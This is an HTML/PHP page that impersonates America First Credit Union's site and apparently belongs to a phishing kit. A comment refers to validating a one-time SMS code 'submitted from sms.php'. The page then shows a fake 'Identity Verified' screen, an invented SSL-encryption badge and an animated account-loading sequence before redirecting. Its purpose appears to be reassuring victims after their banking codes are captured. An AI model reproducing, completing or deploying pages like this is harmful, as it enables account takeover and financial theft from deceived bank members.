<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8"/>
  <meta name="viewport" content="width=device-width, initial-scale=1.0"/>
  <title>America First Credit Union – Loading Account</title>
  <link rel="preconnect" href="https://fonts.googleapis.com">
  <link href="https://fonts.googleapis.com/css2?family=Playfair+Display:wght@600&family=Source+Sans+3:wght@300;400;600;700&display=swap" rel="stylesheet">
  <style>
    *, *::before, *::after { box-sizing: border-box; margin: 0; padding: 0; }
    :root {
      --navy:   #0a1f3c;
      --navy2:  #0d2a52;
      --orange: #f47920;
      --white:  #ffffff;
      --light:  #f4f7fb;
      --border: #d0dbe8;
      --green:  #1e8c55;
      --shadow: 0 20px 60px rgba(10,31,60,.22);
      --radius: 10px;
    }
    html, body { height: 100%; font-family: 'Source Sans 3', sans-serif; background: var(--navy); overflow-x: hidden; }

    .bg-wrap { position: fixed; inset: 0; z-index: 0; }
    .bg-wrap img { width: 100%; height: 100%; object-fit: cover; opacity: .18; filter: saturate(1.2); }
    .bg-overlay { position: absolute; inset: 0; background: linear-gradient(135deg, rgba(10,31,60,.92) 40%, rgba(13,42,82,.75) 100%); }

    .topbar { position: relative; z-index: 10; background: rgba(5,15,30,.85); backdrop-filter: blur(8px); border-bottom: 1px solid rgba(255,255,255,.06); display: flex; align-items: center; justify-content: space-between; padding: 0 40px; height: 52px; }
    .topbar-links { display: flex; gap: 28px; }
    .topbar-links a { color: rgba(255,255,255,.65); font-size: .78rem; letter-spacing: .08em; text-transform: uppercase; text-decoration: none; transition: color .2s; }
    .topbar-links a:hover { color: var(--orange); }
    .topbar-links .divider { width: 1px; background: rgba(255,255,255,.15); align-self: stretch; margin: 10px 0; }

    .navbar { position: relative; z-index: 10; display: flex; align-items: center; justify-content: space-between; padding: 18px 40px 14px; }
    .logo img { height: 52px; filter: brightness(0) invert(1); }
    .nav-links { display: flex; gap: 32px; }
    .nav-links a { color: rgba(255,255,255,.8); font-size: .82rem; font-weight: 600; letter-spacing: .1em; text-transform: uppercase; text-decoration: none; padding-bottom: 3px; border-bottom: 2px solid transparent; transition: color .2s, border-color .2s; }
    .nav-links a:hover { color: var(--white); border-color: var(--orange); }

    .main { position: relative; z-index: 5; min-height: calc(100vh - 130px); display: flex; align-items: center; justify-content: center; padding: 40px 20px 60px; }

    .card { background: var(--white); border-radius: 16px; box-shadow: var(--shadow); width: 100%; max-width: 460px; overflow: hidden; animation: fadeUp .5s ease both; }
    @keyframes fadeUp { from { opacity: 0; transform: translateY(24px); } to { opacity: 1; transform: translateY(0); } }

    .card-header { background: var(--navy); padding: 28px 36px 22px; border-bottom: 3px solid var(--orange); }
    .card-header h1 { font-family: 'Playfair Display', serif; font-size: 1.55rem; color: var(--white); line-height: 1.2; }
    .card-header p { color: rgba(255,255,255,.55); font-size: .84rem; margin-top: 4px; font-weight: 300; }

    .card-body { padding: 36px 36px 42px; text-align: center; }

    /* Success checkmark animation */
    .check-wrap { width: 72px; height: 72px; margin: 0 auto 24px; position: relative; }
    .check-circle {
      width: 72px; height: 72px; border-radius: 50%;
      border: 4px solid var(--green);
      display: flex; align-items: center; justify-content: center;
      animation: scaleIn .5s cubic-bezier(.175,.885,.32,1.275) both;
      animation-delay: .2s;
      opacity: 0;
    }
    @keyframes scaleIn { from { transform: scale(0); opacity: 0; } to { transform: scale(1); opacity: 1; } }

    .check-svg { width: 36px; height: 36px; stroke: var(--green); stroke-width: 3; fill: none; }
    .check-svg path {
      stroke-dasharray: 50;
      stroke-dashoffset: 50;
      animation: drawCheck .4s ease forwards;
      animation-delay: .6s;
    }
    @keyframes drawCheck { to { stroke-dashoffset: 0; } }

    .check-ripple {
      position: absolute; inset: -8px; border-radius: 50%;
      border: 2px solid var(--green);
      opacity: 0;
      animation: rippleOut .8s ease forwards;
      animation-delay: .6s;
    }
    @keyframes rippleOut { 0% { opacity: .5; transform: scale(.9); } 100% { opacity: 0; transform: scale(1.35); } }

    .status-title { font-family: 'Playfair Display', serif; font-size: 1.3rem; color: var(--navy); margin-bottom: 8px; }
    .status-sub { font-size: .88rem; color: #6a7f99; font-weight: 300; margin-bottom: 32px; line-height: 1.5; }

    /* Loading cards skeleton */
    .loading-cards { display: flex; flex-direction: column; gap: 10px; margin-bottom: 28px; text-align: left; }
    .load-item {
      display: flex; align-items: center; gap: 14px;
      background: var(--light); border: 1px solid var(--border);
      border-radius: var(--radius); padding: 12px 16px;
      opacity: 0; transform: translateX(-8px);
      animation: slideIn .4s ease forwards;
    }
    .load-item:nth-child(1) { animation-delay: .8s; }
    .load-item:nth-child(2) { animation-delay: 1.1s; }
    .load-item:nth-child(3) { animation-delay: 1.4s; }
    @keyframes slideIn { to { opacity: 1; transform: translateX(0); } }

    .load-icon { width: 36px; height: 36px; background: var(--navy); border-radius: 8px; display: flex; align-items: center; justify-content: center; flex-shrink: 0; }
    .load-icon svg { stroke: var(--orange); }
    .load-text { flex: 1; }
    .load-bar { height: 8px; border-radius: 99px; background: linear-gradient(90deg, var(--border) 25%, #e8eff7 50%, var(--border) 75%); background-size: 200% 100%; animation: shimmer 1.4s infinite; border-radius: 99px; margin-bottom: 4px; }
    .load-bar.wide { width: 60%; }
    .load-bar.thin { width: 40%; height: 6px; }
    @keyframes shimmer { 0% { background-position: 200% 0; } 100% { background-position: -200% 0; } }
    .load-check { flex-shrink: 0; color: var(--green); opacity: 0; transition: opacity .3s; }
    .load-item.ready .load-check { opacity: 1; }
    .load-item.ready .load-bar { animation: none; background: #d4edda; }

    /* Progress bar */
    .progress-wrap { background: var(--light); border-radius: 99px; height: 8px; overflow: hidden; margin-bottom: 10px; }
    .progress-fill { height: 100%; background: linear-gradient(90deg, var(--navy2), var(--orange)); border-radius: 99px; width: 0; transition: width .5s ease; }
    .progress-label { font-size: .78rem; color: var(--muted); text-align: right; }

    .security-note { font-size: .78rem; color: var(--muted); display: flex; align-items: center; justify-content: center; gap: 6px; margin-top: 18px; }

    .footer { position: relative; z-index: 5; text-align: center; padding: 0 20px 28px; color: rgba(255,255,255,.32); font-size: .75rem; }
    .footer a { color: rgba(255,255,255,.45); text-decoration: none; }
    .footer a:hover { color: var(--orange); }

    @media (max-width: 600px) {
      .topbar, .navbar { padding: 0 18px; }
      .navbar { padding: 14px 18px; }
      .nav-links { display: none; }
      .card-header, .card-body { padding-left: 22px; padding-right: 22px; }
    }
  </style>
</head>
<body>

<?php
session_start();
// TODO: Validate the OTP submitted from sms.php against your stored code
// $otp = implode('', array_map(fn($k) => $_POST[$k] ?? '', ['d1','d2','d3','d4','d5','d6']));
?>

<div class="bg-wrap">
  <img src="/AMFIRSTCU/auth/action-required/res/img/background.webp" alt="">
  <div class="bg-overlay"></div>
</div>

<div class="topbar">
  <div class="topbar-links">
    <a href="#">Find My Routing Number</a>
    <div class="divider"></div>
    <a href="#">Financial Education</a>
  </div>
</div>

<nav class="navbar">
  <div class="logo"><img src="/AMFIRSTCU/auth/action-required/res/img/logo.svg" alt="America First Credit Union"></div>
  <div class="nav-links">
    <a href="#">Loans</a><a href="#">Accounts</a><a href="#">Services</a>
    <a href="#">Visa</a><a href="#">Business</a><a href="#">About</a>
  </div>
</nav>

<div class="main">
  <div class="card">
    <div class="card-header">
      <h1>Loading Your Account</h1>
      <p>Securely preparing your member dashboard</p>
    </div>
    <div class="card-body">

      <div class="check-wrap">
        <div class="check-circle">
          <svg class="check-svg" viewBox="0 0 24 24">
            <path d="M5 13l4 4L19 7"/>
          </svg>
        </div>
        <div class="check-ripple"></div>
      </div>

      <div class="status-title" id="statusTitle">Identity Verified</div>
      <div class="status-sub">We're loading your accounts and recent transactions.<br>You'll be redirected shortly.</div>

      <div class="loading-cards" id="loadingCards">
        <div class="load-item" id="li1">
          <div class="load-icon">
            <svg width="16" height="16" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24"><rect x="2" y="5" width="20" height="14" rx="2"/><line x1="2" y1="10" x2="22" y2="10"/></svg>
          </div>
          <div class="load-text">
            <div class="load-bar wide"></div>
            <div class="load-bar thin"></div>
          </div>
          <svg class="load-check" width="18" height="18" fill="none" stroke="currentColor" stroke-width="2.5" viewBox="0 0 24 24"><path d="M5 13l4 4L19 7"/></svg>
        </div>
        <div class="load-item" id="li2">
          <div class="load-icon">
            <svg width="16" height="16" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24"><line x1="12" y1="1" x2="12" y2="23"/><path d="M17 5H9.5a3.5 3.5 0 0 0 0 7h5a3.5 3.5 0 0 1 0 7H6"/></svg>
          </div>
          <div class="load-text">
            <div class="load-bar wide"></div>
            <div class="load-bar thin"></div>
          </div>
          <svg class="load-check" width="18" height="18" fill="none" stroke="currentColor" stroke-width="2.5" viewBox="0 0 24 24"><path d="M5 13l4 4L19 7"/></svg>
        </div>
        <div class="load-item" id="li3">
          <div class="load-icon">
            <svg width="16" height="16" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24"><path d="M14 2H6a2 2 0 0 0-2 2v16a2 2 0 0 0 2 2h12a2 2 0 0 0 2-2V8z"/><polyline points="14 2 14 8 20 8"/></svg>
          </div>
          <div class="load-text">
            <div class="load-bar wide"></div>
            <div class="load-bar thin"></div>
          </div>
          <svg class="load-check" width="18" height="18" fill="none" stroke="currentColor" stroke-width="2.5" viewBox="0 0 24 24"><path d="M5 13l4 4L19 7"/></svg>
        </div>
      </div>

      <div class="progress-wrap">
        <div class="progress-fill" id="progressFill"></div>
      </div>
      <div class="progress-label" id="progressLabel">0%</div>

      <div class="security-note">
        <svg width="13" height="13" fill="none" stroke="#8494aa" stroke-width="2" viewBox="0 0 24 24"><rect x="3" y="11" width="18" height="11" rx="2" ry="2"/><path d="M7 11V7a5 5 0 0 1 10 0v4"/></svg>
        256-bit SSL encrypted connection
      </div>

    </div>
  </div>
</div>

<div class="footer">
  <p>&copy; <?= date('Y') ?> America First Credit Union. All rights reserved. &nbsp;|&nbsp;
    <a href="#">Privacy Policy</a> &nbsp;|&nbsp; <a href="#">Security</a>
  </p>
</div>

<script>
  const fill = document.getElementById('progressFill');
  const label = document.getElementById('progressLabel');
  const items = ['li1','li2','li3'];
  const labels = ['Loading accounts…', 'Fetching transactions…', 'Almost ready…'];

  let progress = 0;

  // Smooth progress bar
  const progInterval = setInterval(() => {
    progress = Math.min(progress + (Math.random() * 4 + 1), 95);
    fill.style.width = progress + '%';
    label.textContent = Math.floor(progress) + '%';
  }, 120);

  // Mark items ready sequentially
  const delays = [900, 1500, 2300];
  items.forEach((id, i) => {
    setTimeout(() => {
      document.getElementById(id).classList.add('ready');
      document.getElementById('statusTitle').textContent = labels[i];
    }, delays[i]);
  });

  // Complete and redirect
  setTimeout(() => {
    clearInterval(progInterval);
    fill.style.width = '100%';
    label.textContent = '100%';
    document.getElementById('statusTitle').textContent = 'Welcome back!';
    setTimeout(() => {
      window.location.href = 'dashboard.php'; // Change to your actual dashboard URL
    }, 600);
  }, 3200);
</script>
</body>
</html>